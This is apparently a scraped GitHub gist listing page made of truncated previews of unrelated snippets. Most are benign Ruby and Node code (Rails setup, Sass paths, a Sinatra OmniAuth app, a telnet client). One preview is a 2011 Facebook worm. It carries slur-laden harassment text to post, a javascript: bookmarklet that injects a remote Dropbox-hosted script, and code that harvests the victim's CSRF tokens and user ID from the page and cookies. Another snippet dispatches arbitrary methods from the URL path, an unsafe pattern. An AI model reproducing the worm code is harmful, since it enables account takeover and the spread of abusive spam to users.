This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ### in Terminal | |
| # create rails app | |
| rails new test_app | |
| ############ start: edit Gemfile ############## | |
| #wrap sqlite3 in | |
| group :test, :development do | |
| gem 'sqlite3' | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Sass::Engine::DEFAULT_OPTIONS[:load_paths].tap do |load_paths| | |
| load_paths << "#{Rails.root}/app/assets/stylesheets" | |
| load_paths << "#{Gem.loaded_specs['compass'].full_gem_path}/frameworks/compass/stylesheets" | |
| load_paths << "#{Gem.loaded_specs['html5-boilerplate'].full_gem_path}/stylesheets" | |
| load_paths << "#{Gem.loaded_specs['fancy-buttons'].full_gem_path}/lib/stylesheets" | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted). | |
| var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below."; | |
| var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();"; | |
| var myText = "Remove This App"; | |
| var post_form_id = document.getElementsByName('post_form_id')[0].value; | |
| var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
| var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| module Pjax | |
| extend ActiveSupport::Concern | |
| included do | |
| layout ->(c) { pjax_request? ? false : 'application' } | |
| end | |
| private | |
| def redirect_pjax_to(action, url = nil) | |
| new_url = url_for(url ? url : { action: action }) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'rubygems' | |
| require 'sinatra' | |
| require 'omniauth/oauth' | |
| set :sessions, true | |
| set :layout, true | |
| use OmniAuth::Builder do | |
| provider :twitter, 'key', 'secret' | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class ReadAdapter #:nodoc: internal use only | |
| def initialize(block) | |
| @block = block | |
| end | |
| def inspect | |
| "#<#{self.class}>" | |
| end | |
| def <<(str) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env node | |
| // requires node v0.3 | |
| // telnet.js 80 google.com | |
| net = require('net'); | |
| a = process.argv.slice(2); | |
| if (!a.length) { | |
| console.error("telnet.js port [ host=localhost ]"); | |
| process.exit(1); | |
| } | |
| s = require('net').Stream(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'rubygems' | |
| require 'rack' | |
| class Object | |
| def webapp | |
| class << self | |
| define_method :call do |env| | |
| func, *attrs = env['PATH_INFO'].split('/').reject(&:empty?) | |
| [200, {}, send(func, *attrs)] | |
| end |
NewerOlder